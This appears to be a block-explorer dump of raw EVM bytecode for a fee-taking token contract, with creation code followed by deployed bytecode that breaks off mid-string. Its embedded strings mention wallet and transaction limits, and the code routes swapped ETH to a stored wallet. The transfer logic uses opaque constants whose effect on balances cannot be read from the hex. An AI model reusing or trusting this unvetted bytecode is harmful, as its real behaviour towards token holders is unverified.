60200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000620009c462000f8260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000c6c600c5462000c58600b54600a5462000fab60201b62001a881790919060201c565b62000fab60201b62001a881790919060201c565b601f8190555062000cab60095462000c97600854601c5462000fab60201b62001a881790919060201c565b62000fab60201b62001a881790919060201c565b602081905550600160136000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506016546006600062000d8362000f7a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160126000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000e4b62000f7a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6016546040518082815260200191505060405180910390a350620011de565b60008083141562000ece576000905062000f3e565b600082840290508284828162000ee057fe5b041462000f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180620043566045913960600191505060405180910390fd5b809150505b92915050565b600062000f7283836040518060600160405280603e81526020016200439b603e91396200101860201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808284019050838110156200100e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f81526020018062004317603f913960400191505060405180910390fd5b8091505092915050565b60008083118290620010c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156200108c5780820151818401526020810190506200106f565b50505050905090810190601f168015620010ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581620010d557fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200111b576000855562001167565b82601f106200113657805160ff191683800117855562001167565b8280016001018555821562001167579182015b828111156200116657825182559160200191906001019062001149565b5b509050620011769190620011bf565b5090565b8260048101928215620011ac579160200282015b82811115620011ab5782518255916020019190600101906200118e565b5b509050620011bb9190620011bf565b5090565b5b80821115620011da576000816000905550600101620011c0565b5090565b60805160601c60a05160601c6131056200121260003980610f8b52806111095250806110dd528061113552506131056000f3fe60806040526004361061026a5760003560e01c806382eefb4311610144578063c5d24189116100b6578063dc171b231161007a578063dc171b2314610d3d578063dc44b6a014610d68578063dd62ed3e14610d93578063f0cd1dac14610e18578063f2fde38b14610e43578063f872858a14610e9457610271565b8063c5d2418914610c12578063c816841b14610c3d578063c867d60b14610c7e578063d2d7ad8314610ce5578063da00097d14610d1057610271565b806398e944c81161010857806398e944c814610a34578063a457c2d714610a75578063a9059cbb14610ae6578063b115e4df14610b57578063b57539ab14610b98578063c3a232e114610bc357610271565b806382eefb43146108a657806388790a68146108d15780638b42507f146108fc5780638da5cb5b1461096357806395d89b41146109a457610271565b806338253ad5116101dd578063701cf6f4116101a1578063701cf6f41461075057806370a082311461077b578063715018a6146107e05780637ae2b5c7146107f75780637d1db4a514610850578063807c2d9c1461087b57610271565b806338253ad5146105bb57806339509351146105e65780633ecad271146106575780635194f9bf146106be5780635342acb4146106e957610271565b806318160ddd1161022f57806318160ddd1461043a57806323555d571461046557806323b872dd1461049057806327c8f835146105215780632b112e4914610562578063313ce5671461058d57610271565b8062851fb31461027657806306fdde03146102b75780630930907b14610347578063095ea7b3146103885780631694505e146103f957610271565b3661027157005b600080fd5b34801561028257600080fd5b5061028b610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c357600080fd5b506102cc610ee7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035357600080fd5b5061035c610f89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b60405180821515815260200191505060405180910390f35b34801561040557600080fd5b5061040e610fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f610ff1565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061047a610ffb565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b50610509600480360360608110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b60405180821515815260200191505060405180910390f35b34801561052d57600080fd5b506105366110db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056e57600080fd5b506105776110ff565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a261117d565b604051808260ff16815260200191505060405180910390f35b3480156105c757600080fd5b506105d0611194565b6040518082815260200191505060405180910390f35b3480156105f257600080fd5b5061063f6004803603604081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061119a565b60405180821515815260200191505060405180910390f35b34801561066357600080fd5b506106a66004803603602081101561067a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124d565b60405180821515815260200191505060405180910390f35b3480156106ca57600080fd5b506106d361126d565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506107386004803603602081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611273565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b50610765611293565b6040518082815260200191505060405180910390f35b34801561078757600080fd5b506107ca6004803603602081101561079e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611299565b6040518082815260200191505060405180910390f35b3480156107ec57600080fd5b506107f56112e2565b005b34801561080357600080fd5b5061083a6004803603604081101561081a57600080fd5b81019080803590602001909291908035906020019092919050505061144d565b6040518082815260200191505060405180910390f35b34801561085c57600080fd5b5061086561147a565b6040518082815260200191505060405180910390f35b34801561088757600080fd5b50610890611480565b6040518082815260200191505060405180910390f35b3480156108b257600080fd5b506108bb611486565b6040518082815260200191505060405180910390f35b3480156108dd57600080fd5b506108e661148c565b6040518082815260200191505060405180910390f35b34801561090857600080fd5b5061094b6004803603602081101561091f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611492565b60405180821515815260200191505060405180910390f35b34801561096f57600080fd5b506109786114b2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109b057600080fd5b506109b96114db565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f95780820151818401526020810190506109de565b50505050905090810190601f168015610a265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a4057600080fd5b50610a4961157d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a8157600080fd5b50610ace60048036036040811015610a9857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115a3565b60405180821515815260200191505060405180910390f35b348015610af257600080fd5b50610b3f60048036036040811015610b0957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611670565b60405180821515815260200191505060405180910390f35b348015610b6357600080fd5b50610b6c61168f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba457600080fd5b50610bad6116b5565b6040518082815260200191505060405180910390f35b348015610bcf57600080fd5b50610bfc60048036036020811015610be657600080fd5b81019080803590602001909291905050506116bb565b6040518082815260200191505060405180910390f35b348015610c1e57600080fd5b50610c276116d6565b6040518082815260200191505060405180910390f35b348015610c4957600080fd5b50610c526116dc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c8a57600080fd5b50610ccd60048036036020811015610ca157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611702565b60405180821515815260200191505060405180910390f35b348015610cf157600080fd5b50610cfa611722565b6040518082815260200191505060405180910390f35b348015610d1c57600080fd5b50610d25611728565b60405180821515815260200191505060405180910390f35b348015610d4957600080fd5b50610d5261173b565b6040518082815260200191505060405180910390f35b348015610d7457600080fd5b50610d7d611741565b6040518082815260200191505060405180910390f35b348015610d9f57600080fd5b50610e0260048036036040811015610db657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611747565b6040518082815260200191505060405180910390f35b348015610e2457600080fd5b50610e2d6117ce565b6040518082815260200191505060405180910390f35b348015610e4f57600080fd5b50610e9260048036036020811015610e6657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d4565b005b348015610ea057600080fd5b50610ea96119c2565b60405180821515815260200191505060405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7f5780601f10610f5457610100808354040283529160200191610f7f565b820191906000526020600020905b815481529060010190602001808311610f6257829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610fc1610fba611af3565b8484611afb565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601654905090565b600c5481565b600061100e848484611cf2565b506110d08461101b611af3565b6110cb856040518060a0016040528060618152602001612db960619139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611081611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123899092919063ffffffff16565b611afb565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061117861112d7f0000000000000000000000000000000000000000000000000000000000000000611299565b61116a6111597f0000000000000000000000000000000000000000000000000000000000000000611299565b60165461244990919063ffffffff16565b61244990919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600d5481565b60006112436111a7611af3565b8461123e85600760006111b8611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b611afb565b6001905092915050565b60136020528060005260406000206000915054906101000a900460ff1681565b60095481565b60126020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112ea611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461138d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526044815260200180612fb46044913960600191505060405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600081831061145e57819050611474565b81600184011061147057819050611474565b8290505b92915050565b60185481565b60195481565b60205481565b601c5481565b60156020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115735780601f1061154857610100808354040283529160200191611573565b820191906000526020600020905b81548152906001019060200180831161155657829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006116666115b0611af3565b84611661856040518060800160405280605e8152602001613072605e9139600760006115da611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123899092919063ffffffff16565b611afb565b6001905092915050565b600061168461167d611af3565b8484611cf2565b506001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e5481565b600e81600481106116cb57600080fd5b016000915090505481565b600b5481565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60146020528060005260406000206000915054906101000a900460ff1681565b60175481565b601b60159054906101000a900460ff1681565b601d5481565b600a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601f5481565b6117dc611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461187f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526044815260200180612fb46044913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a815260200180612c6f604a913960600191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601b60169054906101000a900460ff1681565b6000808314156119e85760009050611a55565b60008284029050828482816119f957fe5b0414611a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180612f116045913960600191505060405180910390fd5b809150505b92915050565b6000611a8083836040518060600160405280603e8152602001612ff8603e9139612476565b905092915050565b600080828401905083811015611ae9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f815260200180612e75603f913960400191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605d815260200180612eb4605d913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605b815260200180612e1a605b913960600191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611d79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605e815260200180612f56605e913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c815260200180612cb9605c913960600191505060405180910390fd5b601b60149054906101000a900460ff1615611e2657611e1f84848461253c565b9050612382565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eca5750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2b57601854821115611f2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c815260200180613036603c913960400191505060405180910390fd5b5b6000611f3630611299565b905060006017548210159050808015611f5c5750601b60149054906101000a900460ff16155b8015611fb25750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fdc57601b60159054906101000a900460ff1615611fd25760175491505b611fdb82612849565b5b601b60169054906101000a900460ff1680156120425750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120e55760195461208d6120766103e8612068602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b61207f88611299565b611a8890919063ffffffff16565b11156120e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180612d156032913960400191505060405180910390fd5b5b61215e6121396121146103e8612106602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b7e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b7e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b600e60036004811061216c57fe5b01819055506121c461219d6103e861218f602054886119d590919063ffffffff16565b611a5b90919063ffffffff16565b85037e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b600e6002600481106121d257fe5b0181905550601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158061227a5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b806123225750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123215750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b1561233e5761044d601e6000828254019250508190555061236f565b61de16601d54146123565761235161291f565b61236e565b610842601e600082825401925050819055601d819055505b5b61237a86868661253c565b506001925050505b9392505050565b6000838311158290612436576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123fb5780820151818401526020810190506123e0565b50505050905090810190601f1680156124285780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061246e8383604051806080016040528060428152602001612d4760429139612389565b905092915050565b60008083118290612522576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124e75780820151818401526020810190506124cc565b50505050905090810190601f1680156125145780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161252e57fe5b049050809150509392505050565b60006125aa82604051806060016040528060308152602001612d8960309139600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123899092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506011601e819055600e60016004811061260257fe5b0181905550601b60149054906101000a900460ff1615612646576000600e60036004811061262c57fe5b018190555081600e60026004811061264057fe5b01819055505b6000612683600e60026004811061265957fe5b01546063017e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b90506126d781600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277b600e60036004811061272b57fe5b0154600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506011601e819055600e6001600481106127d357fe5b01819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6001601b60146101000a81548160ff02191690831515021790555061286d8161298d565b600047905060008111156128e557600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128e3573d6000803e3d6000fd5b505b6101a1601e819055600e6001600481106128fb57fe5b0181905550506000601b60146101000a81548160ff02191690831515021790555050565b6001601e54600a601e546104a301030103601d819055506b064516bc004ec6a9993f15dc600e60036004811061295157fe5b0160008282540192505081905550601e54601d819055506011601e819055600e60016004811061297d57fe5b0181905550601e54601d81905550565b6000600267ffffffffffffffff811180156129a757600080fd5b506040519080825280602002602001820160405280156129d65781602001602082028036833780820191505090505b509050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a4157600080fd5b505afa158015612a55573d6000803e3d6000fd5b505050506040513d6020811015612a6b57600080fd5b810190808051906020019092919050505081600181518110612a8957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600081518110612ad157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b3830601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611afb565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612bfc578082015181840152602081019050612be1565b505050509050019650505050505050600060405180830381600087803b158015612c2557600080fd5b505af1158015612c39573d6000803e3d6000fd5b50505050601e54601d8190555061a512601e819055600e600160048110612c5c57fe5b0181905550601e54601d81905550505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a207472616e7366657220746f20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e57616c6c6574204c696d69742121436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a207375627472616374696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e496e73756666696369656e74436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a20617070726f766520746f20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206164646974696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206469766973696f6e206279207a65726f436865636b20796f757220706172616d657465727320616e642074727920616761696e2e6578636565647320746865206d61785478416d6f756e742e436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f436865636b20796f757220706172616d657465727320616e642074727920616761696e2ea2646970667358221220e6c06c2cf8e78069a21318d331701d84856dbded672d168347862a688c6d53f764736f6c63430007060033536166654d6174683a206164646974696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206469766973696f6e206279207a65726f436865636b20796f757220706172616d657465727320616e642074727920616761696e2e

Deployed Bytecode

0x60806040526004361061026a5760003560e01c806382eefb4311610144578063c5d24189116100b6578063dc171b231161007a578063dc171b2314610d3d578063dc44b6a014610d68578063dd62ed3e14610d93578063f0cd1dac14610e18578063f2fde38b14610e43578063f872858a14610e9457610271565b8063c5d2418914610c12578063c816841b14610c3d578063c867d60b14610c7e578063d2d7ad8314610ce5578063da00097d14610d1057610271565b806398e944c81161010857806398e944c814610a34578063a457c2d714610a75578063a9059cbb14610ae6578063b115e4df14610b57578063b57539ab14610b98578063c3a232e114610bc357610271565b806382eefb43146108a657806388790a68146108d15780638b42507f146108fc5780638da5cb5b1461096357806395d89b41146109a457610271565b806338253ad5116101dd578063701cf6f4116101a1578063701cf6f41461075057806370a082311461077b578063715018a6146107e05780637ae2b5c7146107f75780637d1db4a514610850578063807c2d9c1461087b57610271565b806338253ad5146105bb57806339509351146105e65780633ecad271146106575780635194f9bf146106be5780635342acb4146106e957610271565b806318160ddd1161022f57806318160ddd1461043a57806323555d571461046557806323b872dd1461049057806327c8f835146105215780632b112e4914610562578063313ce5671461058d57610271565b8062851fb31461027657806306fdde03146102b75780630930907b14610347578063095ea7b3146103885780631694505e146103f957610271565b3661027157005b600080fd5b34801561028257600080fd5b5061028b610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c357600080fd5b506102cc610ee7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035357600080fd5b5061035c610f89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b60405180821515815260200191505060405180910390f35b34801561040557600080fd5b5061040e610fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f610ff1565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061047a610ffb565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b50610509600480360360608110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b60405180821515815260200191505060405180910390f35b34801561052d57600080fd5b506105366110db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056e57600080fd5b506105776110ff565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a261117d565b604051808260ff16815260200191505060405180910390f35b3480156105c757600080fd5b506105d0611194565b6040518082815260200191505060405180910390f35b3480156105f257600080fd5b5061063f6004803603604081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061119a565b60405180821515815260200191505060405180910390f35b34801561066357600080fd5b506106a66004803603602081101561067a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124d565b60405180821515815260200191505060405180910390f35b3480156106ca57600080fd5b506106d361126d565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506107386004803603602081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611273565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b50610765611293565b6040518082815260200191505060405180910390f35b34801561078757600080fd5b506107ca600480360360208